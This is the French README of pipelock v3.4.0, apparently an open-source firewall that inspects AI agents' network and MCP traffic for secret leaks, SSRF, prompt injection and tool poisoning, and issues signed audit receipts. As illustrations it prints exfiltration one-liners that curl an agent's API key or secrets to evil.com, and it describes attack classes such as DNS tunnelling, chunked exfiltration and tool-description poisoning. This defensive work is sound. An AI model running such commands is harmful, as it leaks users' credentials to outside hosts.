
pipelock v3.4.0
Pare-feu open-source pour agents IA qui analyse le trafic HTTP, MCP, A2A et WebSocket à la recherche d'exfiltration, SSRF et d'injection de prompt, émettant des reçus d'action signés et vérifiables à des fins d'audit.
Pipelock
Pare-feu open source pour agents IA avec contrôle de sortie vérifiable.
Pipelock s'interpose entre les agents IA et le réseau. Il inspecte le trafic HTTP, WebSocket, MCP et A2A relayé, ainsi que le contenu des tunnels CONNECT lorsque l'interception TLS est activée, à la recherche de fuites de secrets, d'injections de prompt, de SSRF, d'empoisonnement d'outils et de chaînes d'appels d'outils risquées. Les connexions CONNECT sans interception sont analysées au niveau du nom d'hôte et de l'URL.
Pipelock émet des reçus d'action signés par le médiateur concernant les décisions de limite de contenu, afin qu'un réviseur puisse vérifier la décision de Pipelock en dehors de l'environnement d'exécution de l'agent. Le corpus public agent-egress-bench exerce les détections. En savoir plus : Pare-feu IA open source.
Fonctionne avec : Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problème · Vérifier · Démarrage rapide · Démonstration · Détections · Fonctionnalités · Architecture · Docs · Bac à sable · Blog · Demander à Dosu
Essayez-le dans votre navigateur sur le bac à sable en ligne. Si Pipelock le mérite, mettez une étoile au dépôt pour que d'autres le découvrent.
Le problème
Votre agent IA a $PROVIDER_API_KEY dans son environnement, ainsi qu'un accès au shell. Une seule requête peut le fuiter :```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Chaque action machine effectuée par votre agent doit franchir une frontière entre vos secrets et l'internet ouvert. Pipelock devient cette frontière lorsque l'agent est routé via son proxy, wrapper MCP, sandbox, modèle de confinement d'hôte ou topologie de déploiement en cluster. Il analyse le trafic sortant et entrant médié, bloque ou signale les attaques selon le mode, et enregistre une preuve signée de la décision.
---
## Vérifiez par vous-même
La plupart des outils de sécurité pour agents vous demandent de faire confiance à leur tableau de bord. Pipelock vous remet un reçu signé et vous permet de le vérifier vous-même, hors ligne, avec une clé que vous détenez. Pas de compte ni de serveur.
La démo intégrée lance des scénarios d'attaque réels, les bloque, et écrit des reçus signés ainsi que la clé publique sur le disque sans configuration ni réseau :```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
Le tableau de bord évalue chaque affirmation individuellement et indique ce qu'il ne prouve pas : si quelque chose s'est produit en dehors des limites que Pipelock médiatise. En dessous, la chronologie des reçus liste les décisions médiatisées enregistrées avec leurs verdicts et liens de hachage. Un reçu honnête quant à ses propres limites bat une coche verte qui les cache.
Le visualiseur de preuves est gratuit et ne nécessite aucune licence :```bash pipelock evidence serve --receipt-dir ./out # read-only HTML report for one recorded session pipelock evidence view --receipt-dir ./out # static offline report, no server
Deux notes d'honnêteté, énoncées d'emblée. La démo signe avec une clé éphémère qu'elle affiche pour l'exécution, ce qui prouve que les reçus sont cohérents en eux-mêmes plutôt que liés à une identité nommée. Le terrain de jeu public Pipelock est un chemin séparé qui vérifie par rapport à une clé que Pipelock publie. Et l'opérateur exécutant Pipelock détient la clé de signature, donc un reçu prouve ce que la limite a décidé et que le détenteur de la clé l'a signé, pas que l'opérateur est honnête. `pipelock anchor receipts` enregistre les points de contrôle de la chaîne de reçus vers un backend local ou un journal de transparence Rekor pour un audit ultérieur, et la vérification indépendante de l'opérateur par rapport à ce point d'ancrage est encore en cours de preuve de bout en bout.
L'argument complet pour expliquer pourquoi la preuve l'emporte sur les promesses se trouve dans [démonstration plutôt qu'attestation](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/demonstration-over-attestation.md).
---
## Démarrage rapide```bash
# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
Autres méthodes d'installation
```bash # Download a binary # See https://github.com/luckyPipewrench/pipelock/releasesDocker
docker pull ghcr.io/luckypipewrench/pipelock:latest
Homebrew on macOS
brew install luckyPipewrench/tap/pipelock
</details>
<details>
<summary>Vérifier l'intégrité de la version</summary>```bash
gh attestation verify pipelock_3.2.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.2.0 --owner luckyPipewrench
Les workflows de publication publient la provenance SLSA, les SBOM CycloneDX, les sommes de contrôle et les images de conteneurs signées. Les constructions source avec go install produisent un binaire réservé à la communauté ; les artefacts de version pré-construits incluent du code de niveau payant qui s'active avec une clé de licence valide.
Voyez-le en action
Le tableau de bord de l'opérateur Pro/Enterprise (pipelock dashboard serve) est une console en lecture seule sur les preuves signées. Il prend en charge l'authentification par jeton, OIDC ou mTLS ; des autorisations RBAC limitées ; des vues de métadonnées expurgées ; l'élévation de la vue brute ; les enregistrements du cycle de vie des exemptions ; la sauvegarde et la restauration ; les certificats de couverture ; et les vues de flotte. Il est présent dans les versions marquées « enterprise » et les artefacts de version avec la fonctionnalité de licence requise.
Le visualiseur de preuves gratuit à session unique présenté ci-dessus est séparé. Il ne nécessite aucune licence et n'a pas d'énumération inter-agents.
Galerie du tableau de bord
Rapports et surveillance gratuits
pipelock report --input events.jsonl génère des rapports HTML, JSON ou des lots signés avec une évaluation des risques, une chronologie, des catégories d'événements et une annexe de preuves. Le chemin gratuit Prometheus et Grafana surveille une seule instance Pipelock et est distinct du plan de contrôle de flotte Enterprise Conductor.
Ce qu'il détecte
Mesuré par rapport à un benchmark public et reproductible
agent-egress-bench exécute un corpus d'attaques d'exfiltration d'agent et d'injection de prompts contre Pipelock, ou contre tout autre outil. Les chiffres proviennent d'une exécution que tout le monde peut répéter, pas d'une affirmation.
Pipelock fonctionne en trois modes :
| Mode | Sécurité | Navigation Web | Cas d'utilisation |
|---|---|---|---|
| strict | Liste blanche uniquement | Aucune | Industries réglementées, haute sécurité |
| balanced | Bloque les naïfs + détecte les sophistiqués | Via fetch ou proxy direct | La plupart des développeurs (par défaut) |
| audit | Journalisation uniquement | Sans restriction | Évaluation avant application |
Pour les agents exécutant des modèles non censurés ou « abliterated », le préréglage hostile-model ajoute des couches de défense sur le mode strict : seuils d'entropie agressifs, blocage systématique des outils réseau, liaison de session, détection d'exfiltration inter-requêtes et un kill switch préconfiguré. pipelock audit recommande ce préréglage lorsqu'il détecte des chaînes d'outils connues de suppression de garde-fous via des signaux de dépendances.
| Vecteur d'attaque | Strict | Équilibré | Audit |
|---|---|---|---|
curl evil.com -d $SECRET | Empêché | Empêché | Journalisé |
| Secret dans les paramètres de requête URL | Empêché | Détecté par DLP | Journalisé |
| Secret encodé en Base64 dans l'URL | Empêché | Détecté par l'entropie et le DLP décodé | Journalisé |
| Tunnel DNS | Empêché | Détecté par l'entropie du sous-domaine | Journalisé |
| Exfiltration par fragments | Empêché | Détecté par les vérifications de taux, budget et fragments | Journalisé |
| Blob chiffré avec clé publique dans l'URL | Empêché | Journalisé lorsque l'entropie le signale | Journalisé |
Évaluation honnête : Le mode strict bloque le HTTP sortant qui traverse Pipelock, à l'exception des domaines API autorisés, il n'y a donc pas de canal d'exfiltration via le proxy lui-même. Le mode équilibré relève le niveau d'une « simple commande curl » à une « attaque sophistiquée planifiée à l'avance ». Le mode audit vous donne une visibilité que vous n'avez pas aujourd'hui. Avec le sandbox activé (
pipelock sandbox) ou la topologie de confinement hôte/cluster appliquée, Pipelock ajoute une limite de système d'exploitation ou de déploiement par-dessus l'inspection du contenu. La sortie directe doit toujours être bloquée par cette limite pour les outils non coopératifs qui ignorent les paramètres du proxy.
Comparaison
| Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) | |
|---|---|---|---|---|
| Prévention de l'exfiltration de secrets | Strict bloque ; équilibré détecte | Partiel (mode proxy) | Partiel (niveau domaine) | Oui |
| Analyse DLP + entropie | Oui | Non | Non | Partiel |
| Détection d'injection de prompts | Oui | Oui | Non | Non |
| Analyse MCP (bidirectionnelle + empoisonnement d'outils) | Oui | Oui | Non | Non |
| Proxy WebSocket (analyse de trames) | Oui | Non | Non | Non |
| Transport HTTP MCP (HTTP streamable) | Oui | Non | Non | Non |
| Kill switch d'urgence (6 sources) | Oui | Non | Non | Non |
| Détection de chaîne d'appels d'outils | Oui | Non | Non | Non |
| Sandbox de processus (sans Docker) | Oui | Non | Non | Oui (niveau noyau) |
| Binaire unique, zéro dépendance | Oui | Non (Python) | Non (npm) | Non (noyau) |
Matrice de référence : docs/comparison.md
Hub de comparaison canonique : Comparaison de la sécurité des exécutions IA
Couverture OWASP Agentic Top 10
| Menace | Couverture |
|---|---|
| ASI01 Détournement d'objectif de l'agent | Forte : MCP bidirectionnel + analyse des réponses |
| ASI02 Mauvais usage de l'outil | Partielle : proxy comme outil contrôlé, analyse MCP |
| ASI03 Abus d'identité et de privilèges | Forte : séparation des capacités + protection SSRF |
| ASI04 Vulnérabilités de la chaîne d'approvisionnement | Partielle : surveillance de l'intégrité + analyse MCP |
| ASI05 Exécution de code inattendue | Modérée : approbation HITL, valeurs par défaut fail-closed |
| ASI06 Empoisonnement de la mémoire et du contexte | Modérée : détection d'injection + propagation de la souillure de session |
| ASI07 Communication inter-agents non sécurisée | Partielle : analyse MCP/A2A, ID d'agent, intégrité, signature |
| ASI8 Défaillances en cascade | Modérée : architecture fail-closed, limitation de débit |
| ASI09 Exploitation de la confiance humain-agent | Partielle : modes HITL, journalisation d'audit |
| ASI10 Agents malveillants | Forte : liste blanche de domaines + limitation de débit + séparation des capacités |
Détails, exemples de configuration et analyse des lacunes : docs/owasp-mapping.md
Ce qu'il fait
Pipelock est un proxy de sortie IA et un contrôle de sécurité MCP. Il se place en ligne entre votre agent IA et le réseau, analyse le trafic sortant et entrant, et émet des reçus signés ainsi que des métadonnées de médiation pour l'attestation en dehors de l'environnement d'exécution de l'agent. L'évaluation de l'identité de la charge de travail AARP/SVID est aujourd'hui du côté du vérificateur : les environnements d'exécution du proxy et MCP ne consomment pas de preuves SVID dans les décisions d'autorisation/refus en direct ni ne lient l'identité de l'acteur du reçu à partir d'un X.509-SVID.
Détection et analyse
- Pipeline de scanner d'URL ordonné : vérifications de longueur et d'analyse d'URL, validation de schéma, détection de CRLF et de traversée de chemin, politique de liste blanche et de liste noire, floor SSRF et DLP de base pour les IP littérales immuables, DLP configuré, analyse d'entropie de chemin et de sous-domaine, protection SSRF DNS et de rebinding, limites de taux par domaine, budgets de données, et vérifications de contexte finales. DLP s'exécute avant la résolution DNS, donc les secrets sont interceptés avant qu'une requête DNS ne quitte le proxy. Voir docs/bypass-resistance.md.
- DLP : 65 motifs intégrés pour les clés API, jetons, identifiants, clés de cryptomonnaie, secrets d'environnement et identifiants financiers avec validation de somme de contrôle. La détection de phrases de départ BIP-39 utilise une recherche dans le dictionnaire, des fenêtres glissantes et une validation de somme de contrôle SHA-256.
- Analyse des réponses : 32 motifs intégrés de détection d'injection de prompts et d'empoisonnement d'état/contrôle, ainsi qu'une normalisation en 6 passes pour les caractères de largeur nulle, les homoglyphes, le leetspeak, les espaces blancs optionnels, le repliement des voyelles, le base64 et l'hexadécimal. Les actions sont
block,strip,warnouask. - SSE en streaming : Les réponses
text/event-streamdes passerelles LLM et du flux HTTP/SSE MCP sont traitées jeton par jeton avec une analyse DLP et d'injection par événement et inter-événements glissante. Une détection interrompt le flux en mode fail-closed. Voir Guide de streaming SSE. - Analyse du corps de la requête : les en-têtes et les corps sont analysés avant de quitter le chemin protégé à travers JSON, les données de formulaire, le texte brut, les requêtes de proxy inverse, le trafic CONNECT intercepté par TLS et les trames client WebSocket sortantes.
- Expurgation des requêtes : une réécriture JSON facultative remplace les valeurs secrètes correspondantes par des espaces réservés typés comme
<pl:aws-access-key:1>à travers HTTP, WebSocket et les argumentstools/callMCP. Les reçus enregistrent le profil actif et les comptes par classe au lieu des secrets en texte clair. - Protection des adresses : la validation des adresses ETH, BTC, SOL et BNB détecte les échanges de destination par similitude en utilisant l'empreinte digitale du préfixe/suffixe et une liste blanche d'opérateurs.
- Résultats explicables :
pipelock explain <url>(égalementexplain event <id>etexplain mcp) imprime le scanner, la couche, la règle correspondante, la surface inspectée et le bouton de configuration le plus étroit disponible pour un faux positif. Voirdocs/cli/explain.md. - Jetons canaris :
pipelock canarygénère une configuration de honeytoken. L'apparition d'un secret synthétique dans le trafic sortant prouve qu'un agent ou quelque chose dans sa chaîne exfiltre des variables d'environnement. Voir jetons canaris. - Analyse des fichiers de compétences :
pipelock skill-scaninventorie les fichiers de compétences de l'agent, les compare à un fichier de verrouillage appartenant à l'opérateur, et signale les combinaisons source-à-puits telles que identifiant-à-puits-réseau ou shell-à-écriture avec des preuves de ligne avant que quoi que ce soit ne s'exécute. Voirdocs/cli/skill-scan.md.
Sécurité MCP
Pipelock encapsule les serveurs MCP avec une analyse bidirectionnelle :```bash
Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp
Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- **Analyse des entrées :** Les requêtes du client MCP sont vérifiées pour les fuites DLP et les injections dans les arguments des outils.
- **Analyse des réponses :** Les réponses du serveur sont analysées avant que l'agent ne les voie.
- **Empoisonnement des outils :** Les descriptions de `tools/list` sont vérifiées pour détecter des instructions cachées et des changements de dernière minute (« rug-pull ») en cours de session.
- **Politique d'outils :** 17 règles intégrées bloquent les suppressions destructrices de fichiers, l'accès aux identifiants, les shells inversés, les mécanismes de persistance, l'exécution de commandes encodées et autres appels d'outils à haut risque avant leur exécution.
- **Chaînes d'appels d'outils :** 10 modèles d'axe de catégorie intégrés détectent les chaînes de reconnaissance, de vol d'identifiants, de préparation des données, de persistance, d'exfiltration et de rappel avec une tolérance d'écart configurable.
- **Inspection A2A :** Le trafic du protocole Agent-to-Agent de Google est inspecté sur les chemins forward et MCP ; Pipelock n'est pas un proxy A2A autonome.
- **Écouteurs HTTP MCP authentifiés (v3.2.0) :** Les écouteurs MCP non-loopback échouent en mode fermé par défaut et nécessitent `--mcp-auth-token-file`, ou un `--mcp-allow-unauthenticated` explicite pour les déploiements isolés par politique réseau. Les écouteurs loopback sans jeton rejettent les autorités hôte de type DNS-rebound et de port incorrect, et suppriment les identifiants des écouteurs des en-têtes.
### Confinement
Le confinement des processus non privilégiés utilise des primitives natives du système d'exploitation. Linux utilise Landlock, seccomp et les espaces de noms réseau. macOS utilise les profils `sandbox-exec`. Dans les conteneurs, `--best-effort` conserve Landlock et seccomp lorsque la création d'espaces de noms est restreinte, tandis que l'analyse réseau utilise un routage basé sur un proxy.```bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
Le confinement de l'hôte va plus loin sous Linux :```bash pipelock contain install pipelock contain verify pipelock contain run -- claude-code
`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` gère un modèle à 3 UID (opérateur / proxy / agent) avec routage par correspondance de propriétaire nftables, configuration de service systemd, commandes d'encapsulation, ACL d'espace de travail, actualisation de l'AC et preuve de posture. Voir [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md).
### Preuves et Reçus
- **Enregistreur de vol :** journal de preuves JSONL chaîné par hachage avec points de contrôle signés Ed25519 et rédaction DLP. `pipelock init` provisionne un répertoire d'enregistreur et une clé de signature pour les installations standard, tandis que l'enregistreur reste inactif jusqu'à ce qu'un répertoire et une clé existent. Voir [Flight Recorder](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md).
- **Reçus d'action :** enregistrements signés émis pour les actions médiatisées, contenant le verdict, le hachage de la politique, le transport et la couche de scanner. Les blocages produisent des reçus ; l'application des reçus sur les chemins autorisés nécessite `flight_recorder.require_receipts`. Vérifier avec `pipelock verify-receipt --key <signer.pub>`. Les exécutions non épinglées sont structurelles uniquement et se terminent avec un code non nul sauf si `--allow-unpinned` est passé.
- **Enveloppe de médiation :** métadonnées de bande latérale RFC 8941 sur les requêtes HTTP transférées et `_meta` MCP, avec type d'action, verdict, identité de l'acteur, hachage de la politique, contexte de contamination et ID de corrélation de reçu. Voir [guide de fédération](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md).
- **Conformité des reçus :** quatre implémentations indépendantes de vérificateur multilingue (Go, TypeScript, Rust et Python) exécutées sur un [corpus de conformité](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/conformance/) partagé, incluant des entrées malformées et falsifiables telles que des clés en double, des dépassements d'entiers et des paires de substitution non appariées. Une surface wasm de navigateur réutilise l'implémentation du vérificateur Go. L'évaluation AARP/SVID reste un profil de vérificateur hors ligne, pas une application d'identité en cours d'exécution.
- **Ancrages :** `pipelock anchor receipts` enregistre les points de contrôle de la chaîne de reçus vers un backend local ou Rekor. L'ancrage Rekor est une preuve matérielle pour un audit ultérieur ; la vérification Rekor nécessite des clés de journal épinglées et le chemin d'indépendance opérateur de bout en bout est encore en cours de validation.
- **Capsule de posture :** `pipelock posture emit` et `pipelock posture verify` produisent et vérifient un instantané signé de la posture d'application d'un déploiement, avec une passerelle CI et un modèle de notation, afin qu'un réviseur puisse confirmer que la frontière a été configurée comme revendiqué.
### Flotte et Entreprise
- **Tableau de bord opérateur :** `pipelock dashboard serve` est une console en lecture seule sur des preuves signées. Pro déverrouille les vues Vue d'ensemble, Preuves, Exemptions, Agents, Budgets et Confiance & Clés ; Enterprise ajoute les vues Flotte, Atelier et Incident. Voir [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md).
- **Visionneuse de preuves gratuite :** `pipelock evidence serve` et `pipelock evidence view` affichent une session d'enregistreur sélectionnée sans licence ni énumération inter-agents. `pipelock evidence verify-cert` vérifie hors ligne les certificats de couverture émis par Pro.
- **Conductor :** plan de contrôle de flotte Enterprise pour la distribution de bundles de politique signés, le puits de preuves signées (`pipelock fleet-sink`), l'inscription, la mise à mort à distance, le rollback, le dry-run, la relecture de décisions, et le prévol de dérive runtime/apply-state via mTLS/SPIFFE. Les suiveurs appliquent localement ; le mode de politique périmée par défaut engage une source de refus indépendante après sa fenêtre de grâce, tandis que la surcharge documentée `continue_last_known_good` affaiblit cette posture. Conductor ne détient aucun secret d'agent. Voir le [guide Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md).
- **Conservation légale :** `pipelock dashboard legal-hold add/list/release` gère les obligations de conservation comme métadonnées de conformité conservées en dehors de l'autorité HTTP du tableau de bord, de sorte qu'un tableau de bord compromis puisse lire les obligations mais jamais les falsifier ou les supprimer.
- **Ligne de base comportementale :** profilage puis verrouillage du comportement des outils MCP avec `pipelock baseline list/show/ratify/forget` pour approbation et réapprentissage par l'opérateur. Voir [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md).
### Opérabilité
- **Interrupteur d'arrêt :** six sources d'activation indépendantes : fichier de configuration, API distante, SIGUSR1, fichier sentinelle, mise à mort à distance par Conductor et détection de bundle périmé. Toute source active bloque le trafic, avec des exemptions de point d'extrémité et d'IP dans le contrôleur.
- **API de scan :** analyse programmatique pour les verdicts `url`, `dlp`, `prompt_injection` et `tool_call` avec authentification par jeton porteur, limitation de débit par jeton, résultats structurés et métriques Prometheus. Voir [docs/scan-api.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md).
- **Sentinelle du système de fichiers :** surveille les répertoires de travail des agents pour détecter les secrets écrits sur le disque et attribue les écritures à la lignée de sous-processus MCP sur Linux. Voir [docs/guides/filesystem-sentinel.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/filesystem-sentinel.md).
- **Émission d'événements :** transmet les événements d'audit aux SIEM, récepteurs webhook, syslog, CEF, OTLP et sorties métriques sans bloquer le chemin chaud du proxy. Voir [docs/guides/siem-integration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md).
- **Évaluation de sécurité :** `pipelock assess init`, `pipelock assess run` et `pipelock assess finalize` orchestrent la simulation d'attaque, la notation de configuration, la vérification d'installation et la découverte MCP dans un bundle de preuves reproductible. Les expositions critiques, telles que les serveurs MCP non protégés, plafonnent la note quel que soit le score numérique. Le résumé gratuit montre votre note, les scores par section et les principales conclusions ; une licence déverrouille le rapport complet avec les conclusions spécifiques au serveur, les commandes de correction et les preuves signées Ed25519.
<details>
<summary>Plus de fonctionnalités</summary>
| Fonctionnalité | Ce qu'elle fait |
|---------|-------------|
| **Rapports d'audit** | `pipelock report --input events.jsonl` génère des rapports HTML/JSON/bundle avec évaluation des risques, chronologie et annexe de preuves. Signature Ed25519 avec `--sign`. ([Exemple de rapport](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/sample-report.html)) |
| **Diagnostic** | `pipelock diagnose` exécute 7 vérifications locales pour valider votre configuration de bout en bout sans réseau. |
| **Docteur d'application** (v2.5) | `pipelock doctor` signale l'état configuré vs exécutable pour le proxy, l'interception TLS, l'analyse du corps des requêtes, Browser Shield, l'encapsulation MCP, l'intégrité binaire MCP, la provenance des outils, file_sentry, Sentry et les signaux de limite de déploiement. |
| **Blocage d'injection dans le corps de la requête** (v2.5) | Les constatations d'injection d'invite dans le corps de la requête et de DLP critique bloquent durement les destinations non fournisseurs en mode enforcement sur les transports forward, reverse, TLS-intercept et WebSocket, avec des en-têtes de motif de blocage pour un diagnostic visible par l'opérateur. |
| **Politique de requête** (v2.6) | Rails autoriser par défaut / refuser / avertir sur les opérations API sortantes : correspondance de route plus prédicats d'opération GraphQL, récursion dans les enveloppes JSON `$batch`, échec fermé sur les corps non analysables ou opaques, et exécution avant la porte contractuelle. Voir le [guide de politique de requête](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md). |
| **Interception TLS** | MITM de tunnel CONNECT optionnel : déchiffrer, analyser les corps/en-têtes/réponses, rechiffrer. `pipelock tls init` génère une AC, puis `pipelock tls install-ca` affiche les étapes d'installation dans le magasin de confiance de la plateforme. |
| **Indices de blocage** | L'option `explain_blocks: true` ajoute des suggestions de correction aux réponses bloquées. |
| **Audit de projet** | `pipelock audit ./project` analyse les risques de sécurité et génère une configuration adaptée. |
| **Notation de configuration** (v2.6) | `pipelock audit score --config pipelock.yaml` évalue la posture de sécurité dans 23 catégories avec un budget de 170 points et une note littérale. |
| **Intégrité des fichiers** | Les manifestes SHA256 détectent les fichiers modifiés, ajoutés ou supprimés dans l'espace de travail. |
| **Protection Git** | `git diff \| pipelock git scan-diff` capture les secrets avant le commit. |
| **Signature Ed25519** | Gestion des clés, signature de fichiers et vérification de signature pour la confiance multi-agent. |
| **Profilage de session** | Analyse comportementale par session pour les rafales de domaines et les pics de volume. |
| **Application adaptative** | Score de menace par session avec escalade de l'avertissement au blocage, minuteurs de désescalade et détection de rafales de domaines. |
| **CLI opérateur adaptatif** (v2.5) | `pipelock adaptive status / flush / whoami` expose l'état adaptatif d'exécution via l'API admin authentifiée. Voir [`docs/cli/adaptive.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md). |
| **Suppression de constatations** | Silencer les faux positifs connus via des règles de configuration ou des commentaires inline `pipelock:ignore`. |
| **Support multi-agent** | Identification des agents via l'en-tête `X-Pipelock-Agent` pour le filtrage par agent. |
| **Surveillance de flotte** | Métriques Prometheus par instance plus [tableau de bord Grafana](https://github.com/luckypipewrench/pipelock/blob/HEAD/configs/grafana-dashboard.json) prêt à importer. Surveillance gratuite d'instance unique, distincte de Conductor. |
| **Tableau de bord opérateur** (v3.1, Pro/Enterprise) | `pipelock dashboard serve` donne des vues en lecture seule Vue d'ensemble, Preuves, Exemptions, Agents, Budgets, Confiance & Clés, Flotte, Atelier et Incident avec authentification par jeton, OIDC ou mTLS, RBAC limité, élévation de vue brute, sauvegarde/restauration, enregistrements de cycle de vie d'exemption et certificats de couverture. Voir [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md). |
| **Visionneuse de preuves gratuite** (v3.1) | `pipelock evidence serve` sert une session d'enregistreur sélectionnée comme rapport HTML en lecture seule sans licence et sans énumération inter-agents. `pipelock evidence verify-cert` vérifie hors ligne les certificats de couverture émis par Pro. |
| **Conductor : plan de contrôle de flotte** (v2.7, Enterprise) | Distribution de bundles de politique signés, puits d'audit de preuves signées (`pipelock fleet-sink`), inscription, mise à mort à distance, rollback de politique, dry-run, relecture de décisions et prévol de dérive runtime/apply-state via mTLS/SPIFFE. Contrôlé par la fonctionnalité de licence `fleet` ; le comportement en politique périmée est explicite et par défaut à refus strict. Voir le [guide Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md). |
| **Analyse A2A** | Détection d'empoisonnement de carte d'agent, surveillance de dérive de carte et prévention de contrebande de session pour le protocole Agent-to-Agent de Google sur les chemins forward/MCP. |
| **Ligne de base comportementale** | Profilage puis verrouillage du comportement des outils MCP avec `pipelock baseline list/show/ratify/forget` pour approbation et réapprentissage par l'opérateur. Voir [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md). |
| **Refus de portefeuille** | Budgets MCP par agent pour le nombre total d'appels d'outils, les tentatives répétées du même outil, la détection de boucle/cycle et la durée horloge murale. |
| **Escalade de contamination** | Escalade de politique basée sur l'exposition à travers les frontières MCP et de tâches jusqu'à ce que la confiance soit restaurée. |
| **Enveloppe de médiation** | Métadonnées de bande latérale RFC 8941 sur les requêtes HTTP transférées et `_meta` MCP, avec vérification entrante, protection contre la relecture, format d'acteur SPIFFE et répertoire de clés de signature RFC 9421. Voir [guide de fédération](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
| **Conformité des reçus** | Suite de vérification de reçus inter-implantations (`sdk/conformance/`) à travers des implémentations indépendantes Go, TypeScript, Rust et Python, plus une surface wasm de navigateur soutenue par Go. `EvidenceReceipt v2` utilise la canonicalisation RFC 8785/JCS. L'évaluation AARP/SVID reste côté vérificateur hors ligne. |
| **Apprentissage et verrouillage** (v2.4) | Contrats comportementaux par agent : observer le trafic, compiler un contrat candidat signé, rejouer les observations capturées en shadow, ratifier par règle, promouvoir le manifeste actif signé et appliquer en direct sur les transports porteurs d'URL et les appels d'outils MCP. Voir le [guide d'apprentissage et verrouillage](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md). |
| **En-tête de motif de blocage** (v2.4) | `X-Pipelock-Block-Reason` sur les chemins de blocage compatibles HTTP, avec le même vocabulaire de raison sur les métadonnées d'erreur JSON-RPC MCP. Voir [en-tête de motif de blocage](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md). |
| **Chien de garde de détection de coin** (v2.4) | `health_watchdog` renvoie `/health` 503 lorsqu'un battement de cœur de sous-système devient obsolète. Voir [guide de point d'extrémité santé](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md). |
| **Forme de plugin de fournisseur de rédaction** (v2.4) | Analyseurs de rédaction propriétaires pour les API de chat Anthropic, OpenAI et Gemini, avec une forme de plugin de fournisseur pour les analyseurs tiers. |
| **Schéma de paquet d'audit v0 + vérificateurs** (v2.5) | Schéma de paquet d'audit canonique propriétaire avec implémentations de vérificateur Go, TypeScript et Rust, plus CLI [`pipelock-verifier`](https://github.com/luckypipewrench/pipelock/blob/HEAD/cmd/pipelock-verifier/) autonome. Le schéma se trouve sous [`sdk/audit-packet/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/audit-packet/) ; les paquets de vérificateur se trouvent sous [`sdk/verifiers/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/verifiers/). |
| **Cycle de vie du confinement hôte** (v2.5) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` gère le modèle de confinement à 3 UID. Voir [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md). |
| **Manifestes d'intégrité MCP** (v2.5) | `pipelock mcp integrity manifest generate / verify / sign / verify-signature` épingle les binaires/scripts de serveur MCP par hachage et peut exiger une signature de manifeste de confiance avant le lancement du sous-processus. Voir [`docs/cli/mcp-integrity.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md). |
| **Contrat de lanceur MCP Kubernetes** (v2.5) | `pipelock init sidecar --mcp-upstream` émet la configuration d'écouteur compagnon, le port de service, les annotations de charge de travail, l'autorisation NetworkPolicy, `PIPELOCK_MCP_PROXY_URL` et `PIPELOCK_MCP_CONFIG` monté. Voir [`docs/cli/init-sidecar.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md). |
| **Mode strict de fédération** (v2.5) | La vérification d'enveloppe de médiation entrante exige par défaut des acteurs au format SPIFFE, les pierres tombales de contrat sont appliquées et `pipelock envelope trust add/list/remove/verify` gère la confiance locale. Voir [guide de fédération](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
